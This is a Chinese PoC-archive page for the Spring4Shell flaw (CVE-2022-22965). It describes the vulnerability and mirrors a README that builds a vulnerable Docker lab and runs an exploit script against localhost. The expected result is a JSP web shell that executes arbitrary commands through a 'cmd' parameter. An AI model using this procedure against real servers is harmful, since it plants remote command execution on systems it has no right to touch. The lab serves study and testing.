关联漏洞
标题:
Spring Framework 代码注入漏洞
(CVE-2022-22965)
描述:Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Spring Framework 存在代码注入漏洞,该漏洞源于 JDK 9+ 上的数据绑定的 RCE。以下产品和版本受到影响:5.3.0 至 5.3.17、5.2.0 至 5.2.19、较旧的和不受支持的版本也会受到影响。
描述
Another spring4shell (Spring core RCE) POC
介绍
# Spring4shell RCE vulnerability
This vulnerability affects Spring Core and allows an attacker to send a specially crafted HTTP request to bypass protections in the library’s HTTP request parser, leading to remote code execution.
More info [Here](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)

In order for this vulnerability to be exploited, several conditions must be met
* Use JDK 9 or higher
* Have Apache Tomcat as the servlet container
* Be packaged as a traditional WAR (in contrast to a Spring Boot executable jar)
* Use the spring-webmvc or spring-webflux dependency
* Use Spring framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, or older versions
# POC
* Build the docker image
```
docker build . -t springshell-rce-poc
```
* Run the docker container
```
docker run --rm -p 8081:8080 --name springshell-rce-poc springshell-rce-poc
```
* Running the exploit
```
python exploit-poc.py --url "http://127.0.0.1:8081/"
```
The expected response
```
exploiting
Shell URL:http://127.0.0.1:8081/tomcatwar.jsp?pwd=j&cmd=whoami
```
If you accessed this url, it will run whatever command you want `cmd=<whatyouwant>`

If you ssh the container you will see a new file has been created `tomcatwar.jsp`
```
docker exec -it springshell-rce-poc /bin/bash
ls /usr/local/tomcat/webapps/ROOT
```
文件快照
[4.0K] /data/pocs/f62a29e6134ff2fd9749d15c1c7169b4d6f3ef0d
├── [4.0K] app
│ ├── [1.7K] pom.xml
│ └── [4.0K] src
│ └── [4.0K] main
│ └── [4.0K] java
│ ├── [1.1K] App.java
│ └── [ 216] User.java
├── [ 364] Dockerfile
├── [ 88K] exploit.png
├── [2.0K] exploit-poc.py
├── [ 1] init
├── [1.3K] README.md
└── [381K] screenshot.png
4 directories, 9 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。